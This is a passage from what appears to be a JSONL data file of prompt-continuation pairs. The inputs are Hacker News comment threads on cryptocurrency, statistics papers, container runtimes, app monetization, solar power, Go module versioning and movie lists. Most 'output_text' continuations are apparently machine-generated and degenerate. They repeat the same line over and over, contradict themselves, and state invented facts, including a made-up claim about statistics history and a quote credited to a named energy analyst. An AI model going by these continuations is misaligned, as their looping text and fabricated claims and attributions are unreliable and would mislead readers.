cryptocurrency?\n\n~~~\njstanley\n> People will choose to spend their inflationary fiat currency instead of their\n> deflationary cryptocurrency.\n\nPeople will choose to spend their inflationary fiat currency instead of their\ndeflationary cryptocurrency because they will be able to spend it more\neffectively.\n\n~~~\nzupa-hu\nI don't understand.\n", "input_text": " cannot recommend it enough. It's hilarious, like\nthe cambrian explosion of cryptomoney.\n\n~~~\nroot_axis\nBitcoin is not \"better\" than fiat currencies, it's worse in every way except\nfor the fact that it is not operated by a central authority. In terms of\nconvenience, security, and ease of use it is clearly worse. The world does\nneed a \"back channel\" currency, and bitcoin is a perfect fit for this, but it\nwill never move beyond that because there's simply no reason for the masses to\nuse it.\n\n~~~\nericb\n> it's worse in every way except for the fact that it is not operated by a\n> central authority.\n\n-It is lighter--I can carry it in my head\n\n-It travels faster\n\n-It is not inflated by 2% a year\n\n-It cannot be forged\n\n-It can cross borders\n\n~~~\nAstralStorm\nIt is inflated but currently its value gain masks that.\n\nYou cannot carry those big numbers in your head comfortably. Heck, it is\ntricky to carry a wallet ID. Even trickier to get a physical transaction done\nwith BTC.\n\n~~~\nericb\nSee my link about brainwallets above.\n\n------\nzupa-hu\nI'm confused. Gresham's law sais \"bad money drives out good\". Inflation is\nbad, so from that follows that the money that inflates more will be more used.\nOkay, I buy that.\n\nThen this:\n\n> When the singularity is reached, I think people will be more likely to\n> choose to spend their inflationary fiat currency instead of their\n> deflationary cryptocurrency.\n\nI'm lost here. People"} +{"output_text": " exit strategy?\n\nLingua: I'm not going to answer that.\n\nDanbom: I'm not going to answer that.\n\nLingua: I'm not going to answer that.\n\nDanbom: I'm not going to answer that.\n\nLingua: I'm not going to answer that.\n\nDanbom: I'm not going to answer that.\n\nLingua: I'm not going to answer that", "input_text": "-class language\nsolutions.\n\nDanbom: How do you stay ahead of others in the buzzword industry?\n\nLingua: Net-net, my value proposition is based on maximizing synergies and\nbeing first to market with a leveraged, value-added deliverable. That's the\nopportunity space on a level playing field.\n\nDanbom: Does everyone in business eventually devolve into the sort of mindless\ndrivel you spout?\n\nLingua: If you walk like a duck and talk like a duck, you're a duck. They all\ndrink the Kool-Aid.\n\nDanbom: Do you read \"Dilbert\" in the newspaper?\n\nLingua: My knowledge base is deselective of fiber media.\n\nDanbom: Does that mean \"no\"?\n\nLingua: Negative.\n\nDanbom: DOES THAT MEAN \"NO\"?\n\nLingua: Let's take your issues offline.\n\nDanbom: NO, WE ARE NOT GOING TO TAKE MY \"ISSUES\" OFFLINE.\n\nLingua: You have a result-driven mind-set that isn't a strategic fit with my\ngame plan.\n\nDanbom: I am not getting the answers that I need from you.\n\nLingua: Your call is very important to me.\n\nDanbom: How can you live with yourself?\n\nLingua: I eat my own dog food. My vision is to monetize scalable supply\nchains.\n\nDanbom: When are you going to quit this?\n\nLingua: I may eventually exit the business to pursue other career\nopportunities.\n\nDanbom: What is your"} +{"output_text": " be open to it, some won\u2019t.\n\n10\\. If the investor\u2019s portfolio has a follow-on fund, find out where they\nstand on this. Some will be open to it, some won\u2019t.\n\n11\\. If the investor\u2019s portfolio has a follow-on fund, find out where they\nstand on this. Some will be open to it, some won\u2019t.\n\n12\\. If the investor\u2019s portfolio has a follow-", "input_text": "filter them, don\u2019t send them any and all), or introduce family offices\nlooking to put funds into a pool; then you can contact them a lot earlier.\n\n3\\. There is another way that you can connect with investors, \u201cget an intro to\nus via someone in our network\u201d. With some investors this will be the only way.\n\n4\\. Note the investor landscape, find out their investment thesis. See if\ntheir portfolio has any that could be competitors, any synergies, etc.\n\n5\\. Find out the required milestones (for your current stage and the next\none). This can be a difficult one to find out, for it can pin some of them\ndown a bit too much, especially when they take so many other things into\nconsideration. If they don\u2019t mention it on their site, and there is nothing in\nCrunchbase et al, you\u2019ll have to ask them down the line.\n\n6\\. Find out more about the appropriate partner at the VC firm whom is\ninvolved in your niche. If you can\u2019t find the appropriate partner, aim for the\ntop, and have them point you in the right direction.\n\n7\\. Acquire information about the partner and use it to formulate an email\nthat is about them. I will typically provide a few of my thoughts on something\nthey said in an article. They will be genuine thoughts. No brown-nosing, no\ncompliments for the sake of it, etc, etc.\n\n8\\. Find out the firms current position in the fund life-cycle: are they open\nto new investments, only open to portfolio synergies, only follow-on funds\nleft, etc.\n\n9\\. If the investor\u2019s portfolio has competitors and/or synergies find out\nwhere they stand on this. Some will"} +{"output_text": " I don't need to know about the history of the development of\nstatistics to understand the statistical methods that I use.\n\n2\\. The paper is written in a way that makes it seem like the history of\nstatistics is a series of discrete events. For example, it says that \"the\nfirst paper to use the term 'statistical inference' was published in 1873.\"\nThis is not true. The first paper to use the term \"statistical inference\" was\n", "input_text": "\n~~~\ncl42\nHmm, interesting -- I never considered the idea of including junk features to\nbias model's preferences of whatever theoretically ambiguous idea you're\ntrying to promote. That's actually brilliant.\n\n~~~\nmbq\nShameless plug; I'm a co-author of a method that leverages adding artificial\njunk features and removing original ones that are likely nonsense to\napproximate the set of all features that are relevant to the problem (rather\nthan standard make best model, which may be pretty deceiving).\n[https://m2.icm.edu.pl/boruta](https://m2.icm.edu.pl/boruta)\n\n------\nbijection\n[https://www.youtube.com/watch?v=5OL1RqHrZQ8](https://www.youtube.com/watch?v=5OL1RqHrZQ8)\nis a good demonstration of this.\n\n\"I use pictures from the ESCI software to give a brief, easy account of the\nDance of the p Values. The simulation illustrates how enormously and\ndisastrously variable the p value is, simply because of sampling variability.\nNever trust a p value!\"\n\n------\namluto\nI found this paper to be quite interesting, but I have two issues with it.\n\n1\\. At least at the beginning, it focuses excessively on the historical\naspects of statistics. For example, it says that \"most applied researchers are\nunmindful of the historical development of methods of statistical inference,\nand of the conflation of Fisherian a nd Neyman\u2013Pearson ideas.\" To me,\nstatisticians shouldn't /have/ to understand the history at all. For example,\nas a physicist,"} +{"output_text": " information on what the differences are between\nthe two?\n\n~~~\ncyphar\nThe main difference is that runC is a library that can be used by any\napplication to run containers. It's not a daemon.\n\n------\njedisct1\nI'm not sure if this is a good idea.\n\nI'm not a big fan of the idea of having a single process that is responsible\nfor everything.\n\nI'm not a big fan", "input_text": "\nchrissnell\nI don't get your argument. If I'm reading this correctly, you're arguing that\nsystem calls and/or a call to a shared library function are cleaner than RPC\nto another process?\n\nThe overhead of RPC in an application like this is tiny and the cost of an\nadditional process on 2016 equipment is non-existent.\n\n~~~\nvidarh\nIt's more things that can fail that now needs monitoring. (EDIT:) And in the\nspecific case of rktlet you _still_ end up forking/execing anyway.\n\nThe overhead isn't necessarily a big deal (and can easily go the other way -\nif the request frequency is high enough, it's cheaper to keep the process\naround), but it does also potentially add up.\n\n------\nphilips\nThis was posted last week but here is rkt's roadmap around Kubernetes's CRI\nand use of OCI's runc: [https://coreos.com/blog/rkt-and-\nkubernetes.html](https://coreos.com/blog/rkt-and-kubernetes.html)\n\n------\ncyphar\nCurrently quite a few people from the OCI community (including myself) are\nworking on implementing a CRI-compliant runtime[1] around runC and the various\nOCI specifications as well as the containers/image and containers/storage\nprojects. There's a lot of cool design to ocid which means that it doesn't\nrequire a daemon to be constantly running.\n\n[1]: [https://github.com/kubernetes-\nincubator/cri-o](https://github.com/kubernetes-incubator/cri-o)\n\n~~~\nvidarh\nDo you have any more specific"} +{"output_text": ")\n\n3) AdColony ()\n\n4) AdMob (iOS)\n\n5) AdMob (Android)\n\n6) AdMob (Android)\n\n7) AdMob (iOS)\n\n8) AdMob (Android)\n\n9) AdMob (iOS)\n\n10) AdMob (Android)\n\n11) AdMob (iOS)", "input_text": "Help HN: The Exhaustive List of App Monetization Methods (w/Links!!) - Terpaholic\nPost is too big to fit into the text box so I'll put it in the comments :)\n======\ncreativeone\nTap2print () Custom API to allow for printing and\nfulfillment of almost anything from content in your app.\n\n------\nTerpaholic\nI had difficulty monetizing my app and gathered a lot of links I think might\nbe useful to other people. Let's build the best list of ways to monetize apps!\nI'll update this list regularly with info from the comments.\n\n _Categories_\n\n _Free To User_\n\n1) Ad Networks (Banner Ads)\n\n2) Affiliate and CPA (Pay When User Installs Other App)\n\n _Cost To User_\n\n3) Paid Apps (Charge upfront for the app)\n\n4) In-App-Purchase Approaches (Currency, Unlocking Features, Freemium)\n\n5) Subscription (Recurring Data Updates, SAAS)\n\n _Misc_\n\n6) Facebook\n\n7) Sponsors (Dedicated advertisers)\n\n8) Email Lists (Alternative monetization method)\n\n9) Merchandise (Works if the app has strong characters)\n\n10)?? Coming Soon??\n\n _1\\. Ad Networks_\n\nPlease share your experiences so this can become an ordered list with the best\nat the top.\n\n1) TapJoy ()\n\n2) AdMob ("} +{"output_text": "12\nI think the idea of a cryptocurrency is a good one. I think the idea of a\ncryptocurrency that is backed by a basket of assets is a good one. I think\nthe idea of a cryptocurrency that is backed by a basket of assets that is\nbacked by a basket of assets is a good one. I think the idea of a cryptocurrency\nthat is backed by a basket of assets that is backed by a basket of assets that\nis backed by a basket of assets", "input_text": "1]\n[https://en.wikipedia.org/wiki/E-gold](https://en.wikipedia.org/wiki/E-gold)\n\n------\ncodegladiator\n> this paper was published as part of this free-for-all part of the Free\n> Science part of the Royal Society effort\n\nBut but... can facebook not \"lift for free\"?\n\n------\nquotemstr\nNobody owns ideas.\n\n~~~\ncsallen\nIf only more people understood this. Not only does nobody own an idea, but we\nreally don't want to live in a world where the opposite is true.\n\n~~~\nallana\nRight to Read is a good piece on this topic:\n[https://www.gnu.org/philosophy/right-to-\nread.html](https://www.gnu.org/philosophy/right-to-read.html)\n\n------\n0xC0FFEE\nThe paper was published 18 July 2018. The public inital commit of libra was on\n18 June 2019 and had 1,063 changed files. That could be a coincidence or not.\nFact is, only one has realized the idea.\n\n------\nxwdv\nNo sympathy for this guy at all. Think just because you\u2019re an \u201cMIT fellow\u201d\nyour claims to an idea carry more weight than people from other institutions\nor organizations? Get out of here with this entitlement, tons of people come\nup with exactly the same ideas all the time.\n\n~~~\ngibba999\nPlus, 9 times out of 10, it's the MIT types who lift ideas from others and\npromote them with MIT's increasingly well-polished hype machine. Within MIT,\nMedia Lab is central to this problem.\n\n------\nmalicioususer"} +{"output_text": ", but I find that I am more productive in\ngvim.\n\n------\njamesjyu\nI've been using Vim for years, and I've never felt the need to use an IDE.\n\nI've been using Vim for years, and I've never felt the need to use an IDE.\n\nI've been using Vim for years, and I've never felt the need to use an IDE.\n\nI've been using Vim for years", "input_text": "types of programming, and again I don't think we have to paint it as choosing\none or the other.\n\nFor example, when I worked on parallel algorithms for very large clusters, I\nwas really missing some of the things IDEs provide like graphical debuggers.\nWhile a better-designed language may have made some parts of my task easier,\nit would also have made low-level optimization much harder.\n\ntl;dr - different things needed for different situations\n\n------\naidenn0\nThis first two-thirds article is so contrary to my actual experience that I\nalmost didn't finish reading it. Most people I know that uses a cutting-edge\nlanguage bemoans the lack of tooling, and they often hack something up\n(usually as an editor plugin) to make due.\n\nThinking about it more, I do know some people that would fall under the\nauthors definition of \"Language Maven\" and I think there it is not the lack of\ntooling that makes them eschew tooling, it that so much tooling is garbage. An\nexample: when you use a cross-reference browser and it either misses some of\nthe references, or lists so many false-references that you have too low a SNR\nto find what you were looking for, it makes you stop using cross-reference\nbrowsers.\n\n------\ndmritard96\nIt depends on what I am working on. If I am writing some stupid GUI in VB, or\nsomething in matlab, etc. - well yeah, may as well use the IDE. For my\nprojects at home (and when I was in school) I tend to use gedit with a couple\nof plugins (nothing lang. specific though) - typically working in c, c++,\npython, bash. Sometimes I use vim"} +{"output_text": " a tablet? (By which point I'd rather\nhave them integrated and a bit more rugged, personally.) You want to show me\nsomeone doing serious software development on a netbook? (By which point I'd\nrather have them integrated and a bit more rugged, personally.)\n\nI'm not sure I'd be able to do any of that on a tablet. I'm not sure I'd be\nable to do any of that on a netbook.\n\n~~~\nj", "input_text": " part of them, as desktop work will still be needed.\n\n------\neftpotrm\nWell, I certainly hope that reports of the netbook's death are in fact reports\nof the death of the netbook's _hype_...\n\nI'm another of those who find them almost perfect devices. It gets used for\nreal, serious, mobile computing. Visual Studio 2010 and SQL Server 2008 R2 on\na netbook with a long battery life make a wonderful go-anywhere productivity\ndevice and let me work far, far more easily than I could otherwise because it\ncan just slip in the bottom of my bag. I can and do write music on it almost\nanywhere in a MIDI sequencer. Firefox works well for regular browsing,\nOpenOffice works well for note taking in meetings. I can touchtype on my\nnetbook with comparable speed and accuracy to any other device, certainly fast\nenough to take notes live in a presentation. I won't claim it's fast enough\nfor doing any very heavy photography work but it's a very useful portable\npreview and backing storage device.\n\nGive me a tablet with a card reader and decent storage and I could do the\nphotography as easily on that, I'll concede. Give me a good mobile browser and\nthat's pretty much as good as on the netbook, though from my experience with\nAndroid Firefox and Chrome I'm not convinced yet. Music? Maybe, I can see it\ncould be done but I'm not sure the apps are there yet from what I've heard.\n\nThe rest though? You want to show me someone typing at an accurate 100WPM on a\ntablet without an external keyboard? (By which point I'd rather have them\nintegrated and a bit more rugged, personally.) You want to show me someone\ndoing serious software development on"} +{"output_text": " any reason to\nbelieve they will ruin Github.\n\n~~~\nsolarkraft\nI don't think they will ruin Github. But I do think they will ruin the\necosystem.\n\nI don't think they will ruin Github. But I do think they will ruin the\necosystem.\n\nI don't think they will ruin Github. But I do think they will ruin the\necosystem.\n\nI don't think they will", "input_text": " could afford to give so much away for free.\nWhile I can't find the exact statement now, I was affected somewhat by their\ndedication to always offering unlimited free repositories, believing that such\naccess was along the lines of a \"digital right\". Obviously there's strategy to\nall of this, but following them all this time it's nice to believe that\nperhaps the top of the organization still believe in that goal too.\n\n------\nimr_\nfantastic move. perfect timing and opportunity.\n\n------\ndudus\nTime to capitalize on the senseless sudden hate for gitHub\n\n~~~\nsolarkraft\nMicrosoft does have a terrible history regarding open source.\n\nGithub felt safe before, a neutral ground for Google, Microsoft, Apple,\nFacebook, Netflix, Amazon all come together and share their love for code and\njust code.\n\nNot so much anymore. The hate is over-blown, but it does feel weird now. With\na knowledge of Microsoft products I can understand why many people would see a\nbleak future ahead [0].\n\n[0]: Relevant image going around the internet: [https://desu-\nusergeneratedcontent.xyz/g/image/1528/18/152818...](https://desu-\nusergeneratedcontent.xyz/g/image/1528/18/1528185357874.jpg)\n\n~~~\nssijak\nWhy not just first wait for their actual moves before spreading panic. I don`t\nlove microsoft and use 0 of their software/hardware products but I don`t\nbelieve they will ruin Github. It would ruin their reputation with developers\nto a very large degree.\n\nBut if they do, it is so easy to switch, that I do not see"} +{"output_text": "d.com/re2/tag/great-\nmovie/films/by/release-...](https://letterboxd.com/re2/tag/great-\nmovie/films/by/release-earliest/streaming-service/amazon-prime-us/)\n\n~~~\ndang\nThanks! I'll add that to the post.\n\n------\ndang\nRelated from a few days ago:\n[https://news.ycombinator.", "input_text": "://letterboxd.com/dvideostor/list/roger-eberts-great-movies/)\n\nYou can look at each movie to see what streaming service it's on one at a time\nfor free.\n\nIf you have a pro paid account, you can even do:\n\n[https://letterboxd.com/dvideostor/list/roger-eberts-great-\nmo...](https://letterboxd.com/dvideostor/list/roger-eberts-great-\nmovies/on/amazon-prime-us/)\n\nWhich shows that there are 39 movies in Amazon Prime US from Ebert's \"Great\nMovies,\" not 21 like this guy's spreadsheet says.\n\nTo be fair, the exercise was to scrape the reference sources... so it might\njust need some refinement.\n\nNeed to double check though if both lists are correct, only confirmed number\ntotals.\n\n __Full disclosure: That letterboxd list is not mine, I just found it __\n\n~~~\njs2\nFWIW, I screen scraped rogerebert.com and copied all of his ratings and an\nexcerpt of every review to letterboxd:\n\n[https://letterboxd.com/re2/](https://letterboxd.com/re2/)\n\nJust the great movies:\n\n[https://letterboxd.com/re2/tag/great-\nmovie/films/by/release-...](https://letterboxd.com/re2/tag/great-\nmovie/films/by/release-earliest/)\n\nYou can then filter those by streaming service, but you need a pro account.\nLooks like 38 movies:\n\n[https://letterbox"} +{"output_text": " by simply buying more assets).\n\nThe Keynesian experiment has been a complete failure, and the Fed is\ncontinuing to print money to try to keep the bubble inflated.\n\n~~~\nArchD\nI'm not sure I understand your point.\n\nInflation is a real thing, and it's a real concern. But it's not a concern\nbecause of deflation.\n\n~~~\nadventured\nInflation is a real thing, and it's a", "input_text": " to spread wealth more evenly around the world. Such a\npolicy is he most \"progressive\" policy given the current skew of asset\ndistributions. Its possible to de-link asset vol from job creattion. Look no\nfurther than the recent inflation of asset values and the lack of net-job\nadds. So, as it is on the way up...so it is on the way down. The beauty of\nvariance and volatility is that they are naturally \"neutral\" terms.\n\nThe argument that there needs to be inflationary bias to create jobs is weak\non many levels. This is just one.\n\n------\nArchD\nI don't know why people are talking as if deflation is a real thing when\nthere's a worldwide property bubble going on and property price is a a very\nreal aspect of the cost of day-to-day living. One must question the CPI\nmetrics used.\n\n~~~\nadventured\nIt's a fraudulent concern meant to enable more printing.\n\nOne of the many psychological toys the Fed & Co. use, just like they regularly\nthreaten to raise interest rates (for years at this point) to buy more time on\nholding down the bubbles they've created without having to actually do\nanything.\n\nThe reason so many people are afraid of deflation, is they're from the\nKeynesian school of economics. They've been brainwashed for two generations to\nthink inflation is how you grow an economy. No coincidence, the Keynesian\nexperiment has been a global disaster of epic proportions, leading to the\ngreatest accumulation of debt in world history; and locally, a 40 year\nstagnation in the American standard of living, perpetually high real\nunemployment, increased poverty, and increased inequality (because the rich\ncan shield themselves from inflation"} +{"output_text": " it will be before we start to see a shift to more\nconventional energy sources.\n\n[https://www.sciencedirect.com/science/article/pii/S2214993619...](https://www.sciencedirect.com/science/article/pii/S2214993619300971)\n\n~~~\nmatt4077\nI don't think it's a question of supply chain limits. It's a question of\n", "input_text": "\nbetween wafers thinner you reduce the amount of waste material and increase\nthe number of wafers produced.\n\n~~~\npfdietz\nI recall recently reading a paper from back when the price of polysilicon was\nat its peak, which it discussed. Since then, adjust for inflation, its price\nhas declined by a factor of 70.\n\n------\nrossdavidh\nI am really glad this is happening. I think that the Moore's Law-like decline\nin costs of wind and solar are going to far more to combat climate change than\nevery international treaty ever attempted, and that's great because climate\nchange is a serious problem and it must be addressed.\n\nHowever...\n\nI think we have been trying to figure out how to get the world's economy to\nshift off of fossil fuels for so long, we haven't given a lot of thought to\nwhat happens as we do, which appears to be in the process of happening. Right\nnow it's coal that's circling the drain. The other fossil fuels will come a\nfew years after.\n\nImagine every nation in the world that depends on oil revenue right now, going\nthe way of Venezuela.\n\nWe are not ready.\n\n------\nJedd\nWhy do we still have such poor quality reporting on renewables:\n\n> And then there\u2019s the issue of round-the-clock power. Solar doesn\u2019t work at\n> night.\n\nPVC doesn't work at night, but CSP most definitely does.\n\n(By _working_, I mean a solar thermal plant is providing power well after\nsunset.)\n\n------\njamil7\nTheres a Dutch study indicating that we're rapidly approaching supply chain\nlimits for the rare metals required for renewable energy, both solar and wind.\nI wonder how long"} +{"output_text": " \"at-tarrat\" (with a soft R in the middle).\n\n~~~\nmadeofpalk\nAh, that makes sense.\n\n------\njypepin\nI'm from the Netherlands and I've always pronounced it \"at-tarrat\".\n\n~~~\njypepin\nI'm from the Netherlands and I've always pronounced it \"at-tarrat\".\n\n------\njypepin\nI'm from the Netherlands and I've always", "input_text": "\", or \"Doggy.\" (Correct me if I'm\nwrong.)\n\n~~~\njypepin\nArrobase in french. Don't think it means anything.\n\n~~~\nekianjo\nHere you go:\n\n> Le nom arobase, forme la plus fr\u00e9quente, est une d\u00e9formation r\u00e9cente du\n> castillan arroba(s), qui d\u00e9signe une unit\u00e9 de mesure de poids et de capacit\u00e9\n> (dite en fran\u00e7ais arrobe), en usage en Espagne et au Portugal8, de grandeur\n> variable selon les r\u00e9gions et selon les liquides (huile ou vin). Ce terme,\n> attest\u00e9 en Espagne depuis 1088, vient lui-m\u00eame de l'arabe \u0627\u0644\u0631\u0628\u0639 (ar-rub\u02bf), \u00ab\n> le quart \u00bb, pour un quart de l'ancien quintal de 100 livres, soit 12 kg\n> environ. Depuis le xvie si\u00e8cle, en effet, le mot arroba \u2014 parmi d'autres \u2014\n> s'est constamment \u00e9crit au moyen de l'abr\u00e9viation \"@\"9.\n\n[https://fr.wikipedia.org/wiki/Arrobase](https://fr.wikipedia.org/wiki/Arrobase)\n\n------\nmadeofpalk\nWhen I worked in retail, I noticed Indian people would pronounce it something\nlike 'attarrat', with a hard R in the middle.\n\nIt took me a while to catch on to what was ment by that, but i never really\npushed it much further to get the 'proper' pronounciation.\n\n~~~\ntimlimfimbim\nI believe they were saying"} +{"output_text": "\n\nI'm not saying that I'd choose to be in a hospital for a week in my 40s, but\nI'd choose to be in a hospital for a week in my 40s over a year of living\nwithout any treatment at all.\n\n~~~\nnoxToken\nI'm not saying that I'd choose to be in a hospital for a week in my 40s, but\nI'd choose to be in a hospital for a week in my 40s over a year", "input_text": " and increasing cost\n(again 1%)! Almost all patients would prefer it.\n\nBut it's hard to convince people that often in life _paying slightly more_ for\n_a statistically slightly worse outcome_ increases you comfort ~10x and is\n1000% worth it! After all, _we live to feel good, and living is only worth it\nas long as we feel good doing it!_\n\n...but no, we just have to insist that we want _the absolutely best things_\n(as customers) and that we need to be _as efficient as possible_ (as service\nproviders). This combination of constraints makes life a living hell that I'm\nnot sure why we can still stand. Also there's those maniacs that absolutely\n_hate_ being or making others _COMFORTABLE,_ but making life worse for them\nwould be sooo enjoyable.\n\n~~~\nnoxToken\nI don't want to create a false dichotomy, but it looks like you're saying you\ncan have either one of two things: increased comfort with a higher chance of\ndeath and cost or a maintain to the low level of comfort with a higher chance\nof successful recovery. You go on to say:\n\n> _After all, we live to feel good, and living is only worth it as long as we\n> feel good doing it!_\n\nI think I get what you're going for, but I'd rather be uncomfortable in the\nhospital for a week in my 40s if that means I get to live another 40 or 50\nyears. I think a lot of other people would also feel the same.\n\n~~~\nnnq\nThe dichotomy _is real,_ I know a thing or two of how hospitals work and what\nprioritizing comfort would actually mean. But I'd still choose it."} +{"output_text": "\nthe API.\n\n~~~\n4ad\nI don't think you understand what I'm saying.\n\nSemVer is a rule of thumb, not a rule of law.\n\nIt's a rule of thumb that says \"major version changes should break the API\".\n\nIt's not a rule of law.\n\nIt's a rule of thumb that says \"major version changes should break the API\".\n\nIt's not a rule of law.\n\nIt's", "input_text": " talked about? I can probably\nsense the sneers from some, but I'd imagine there could be an evolution/\"go\nway\" to implement it.\n\n~~~\n4ad\nThis is about software (source code) versioning. Shared library symbol\nversioning is a completely orthogonal concept.\n\n------\n__david__\nI feel like the article made its case pretty well, but I really dislike idea\nthat I need to duplicate my library into a \"v2/\" directory (or a different top\nlevel git repo) in practice. Maybe I'm misunderstanding something, but this\nseems to be exactly what branches are for. If I'm not able to specify a branch\nname in the package \"path\" then there's something really wrong.\n\n~~~\nmatt_m\nIt wasn't obvious to me either, but apparently vgo translates that into the\nappropriate git tag, it's not actually a separate directory.\n\n~~~\n4ad\nYeah, it's just the import path that it's changed, but it's still ugly as sin\nand makes the mapping between import paths and filesystem paths non-trivial.\n\n------\nk__\nWhile I still think SemVer is crap (because of the edge cases) this seems to\nbe a reasonable approach to library versioning.\n\n~~~\n4ad\nMind to expand about SemVer?\n\n~~~\nk__\nIt says only majors should break the API, but bugs do it all the time. So that\nrule is just wrong and gives a false feel of safety.\n\n~~~\n4ad\nAnd the alternative is?\n\n~~~\nk__\nSimply treat every new version as a major release, everything else is a lie.\n\nSure, you can structure it by \"intent\" but don't pretend a bugfix can't break"} +{"output_text": "bert.com.\n\nThe script is:\n\n \n \n #!/bin/sh\n #\n # This script retrieves the list of great movies from rogerebert.com\n # and saves them to a file.\n #\n # Usage:\n # ./great_movies.sh\n #\n # The script will output the list of great movies to stdout.\n #\n # The script will", "input_text": " are all great stories but \"Woman in the Dunes\" might give\nyou something new to think about where as the others are mostly just great\nentertainment.\n\n~~~\npatrec\nIn addition to \u201cWoman in the Dunes\u201d, I'd also nominate \u201cThe Gospel According\nto Saint Matthew\u201d. And, in fact, \u201cIt's a Wonderful Life\u201d for those who haven't\nseen it (it's a much more grown up and dark film than you may have been led to\nbelieve).\n\n------\nsfaruque\nThere used to be a site call ClerkDogs.com that probably had the best movie\nrecommendation system I've used. You started off naming a few movies you\nliked, and it would provide a list of movies you'd also probably like, and it\nwas very accurate.\n\nFrom what I remember, the database was cataloged and maintained by actual\nhumans, and not some algorithm following behavior patterns.\n\n~~~\nfastball\nYep, jinni.com did the exact same thing, and I loved it. Unfortunately, it\nseems like B2C just didn't work financially so they switched to an entirely\nB2B model to help providers with their recommendation engines and no longer\nhave their data accessible to end-users.\n\n~~~\ncpach\nIt\u2019s a shame that the economics of recommendation engines doesn\u2019t seem to work\nvery well in the B2C space. Good rec. engines can be very useful.\n\n------\nx3blah\nInstead of using Python, here is a solution that only requires sh, curl, sed,\nsort, uniq and grep.\n\nThis solution uses a generous 87s delay to retrieve the Amazon pages. There\nare 328 films listed as \"great movies\" on rogere"} +{"output_text": "\n\n\u201cChina is now moving away from the feed-in tariff model,\u201d said David\nFrauendorfer, a senior analyst at Bloomberg New Energy Finance. \u201cThey\u2019re\nmoving toward a more market-based approach.\u201d\n\nChina\u2019s wind and solar industries are still growing, but they\u2019re not growing\nas fast as they once did. The country\u2019s wind and solar industries are\nexpected to grow by about 10% this year, according to Frauendor", "input_text": "urping coal and gas. Wind and solar still only accounted for about 7% of\nelectricity generation worldwide last year, according to BNEF. And most wind\nand solar projects still depend on subsides. In the U.S., in fact, the solar\nindustry is pushing to extend federal tax credits that are scheduled to\ndecline over the next few years.\n\nAnd then there\u2019s the issue of round-the-clock power. Solar doesn\u2019t work at\nnight. Wind farms go idle when breezes slack. So until battery systems are\ncheap enough for generators to stockpile electricity for hours at a time,\nrenewables can\u2019t constantly provide power like coal and gas.\n\nSolar module prices have plunged this decade\n\nPerhaps nowhere is the push toward subsidy-free clean energy clearer than on\narid expanses of Southern Europe. About 750 megawatts of subsidy-free clean-\nenergy projects are expected to connect to the grid in 2019 alone, across\nSpain, Italy, Portugal and elsewhere -- enough to power about 333,000\nhouseholds, according to Pietro Radoia, an analyst at BNEF.\n\n\u201cThe cheapest way of producing electricity in Spain is the sun,\u201d Jose\nDominguez Abascal, the nation\u2019s secretary of state for energy, said last year.\n\nThe road to subsidy-free renewables wasn\u2019t easy for Spain. A decade ago, it\noffered developers a lavish feed-in tariff, prompting an uncontrolled boom\nthat strained the national treasury. Spain slashed incentives and now has a\nhands-off energy policy.\n\nChina, the world\u2019s largest renewable energy market, also propped up wind and\nsolar for years. Now it\u2019s shifting toward a more market-driven approach."} +{"output_text": ".\n\n~~~\njpatokal\nI think the author is using the term \"low-productivity\" to mean \"not\nprofitable\", which is a perfectly reasonable thing to do.\n\n~~~\nmrottenkolber\nI think you are right, I just don\u2019t understand why the author would use that\nterm.\n\n~~~\njpatokal\nI think it's because the author is trying to make a point about the\ndifferences", "input_text": " (2014) - bholdr\nhttp://www.kalzumeus.com/2014/11/07/doing-business-in-japan/\n======\npartycoder\nI had a chat with a Japanese coworker some time ago.\n\nSome of the Japanese addiction for work was to distract themselves from the\ndestructive effects of WW2.\n\nBy working, they thought they would gradually turn their homeland into a\nbetter place and become a better society.\n\nNow we can see some of the side effects of the excess work, like a reduced\nbirth rate, increased suicide rate, growing debt, death from overwork\n(karoshi), people doing secret nap meetings or sleeping in their desks\n(inemuri), etc.\n\n~~~\nHavoc\n>people doing secret nap meetings\n\nHaha that's one way to solve the problem\n\n------\nglandium\nPrevious discussion with 300+ comments:\n[https://news.ycombinator.com/item?id=8573992](https://news.ycombinator.com/item?id=8573992)\n\n------\nmrottenkolber\n> The Japanese economy is roughly 1/3rd the public sector, 1/3rd low-\n> productivity firms like restaurants or traditional craftsmen, and 1/3rd\n> high-productivity household-name megacorps.\n\nWhy are restaurants and traditional craftsmen considered \u201clow-productivity?\u201d\nThat really strikes me as odd, I have the opposite connotation. I.e. the\nformer being only sustainable as long as they serve a direct demand, while the\nlatter spends most of the time for leviathan\u2019s sake, and is more focused on\ngenerating demand (advertising budgets) than solving problems"} +{"output_text": "/11af76e766308c46b11b6203c9e9f9d3)\n\n------\njamesmp98\nI'm not sure if I'm missing something, but how is this different from\nSkype?\n\n~~~\nadamthewan\nHey, Adam here (OP).\n\nSkype is a video chat app, MeetButter is a video chat app that also allows\nyou to share documents and screenshots.\n\n", "input_text": "\nadamthewan\nHey, Adam here from MeetButter (OP).\n\nThanks!\n\nThe product team is pretty small. We have a UI UX product designer, myself\n(mid-level full stack developer), and a jr front end developer.\n\n~~~\nrealtalk_sp\nVery cool. Good luck with the project!\n\n------\nab_testing\nSurprisingly the author writes about the prototype of the app and the\nwireframes but does not mention the tech behind the actual video conferencing\nsolution. Are they using an existing open source solution and packaging it\ninto a website.\n\n~~~\nadamthewan\nHey, Adam from MeetButter here (OP).\n\nWe're using Jitsi (which is open source) but are also testing out various\nthird party providers such as Daily.co and Agora.io\n\nWe want to focus on improving the meeting flow experience and interactions,\nwhich is why we leverage open source or third party providers for the video\nconferencing tech.\n\n------\ndeltron3030\nNot solving your own problem first but someone else's seems to be the major\nsource of complexity.\n\n~~~\nadamthewan\nI agree. We always overthink things we don't fully understand.\n\n------\nmwnivek\nMeetButter looks interesting!\n\nAre those chat bubbles based on any open-source CSS / inspired by others?\n\n~~~\nadamthewan\nHey dude, Adam here (OP).\n\nIt was built using CSS!\n\nI made a GitHub Gist of it, just for you:\n[https://gist.github.com/adamthewan/11af76e766308c46b11b6203c...](https://gist.github.com/adamthewan"} +{"output_text": " that they can be easily lost or stolen.\n\n~~~\nidunno246\nI guess I'm just used to the idea that toothbrushes are locked up because\nthey're expensive.\n\n~~~\nanigbrowl\nI'm not sure I understand your point.\n\n~~~\nidunno246\nI guess I'm just used to the idea that toothbrushes are locked up because\nthey're expensive.\n\n------\njoshu\nI'm not", "input_text": ":\n[http://viewtext.org/article?url=http%3A%2F%2Fnymag.com%2Fnew...](http://viewtext.org/article?url=http%3A%2F%2Fnymag.com%2Fnews%2Ffeatures%2Ftide-\ndetergent-drugs-2013-1%2F)\n\nI 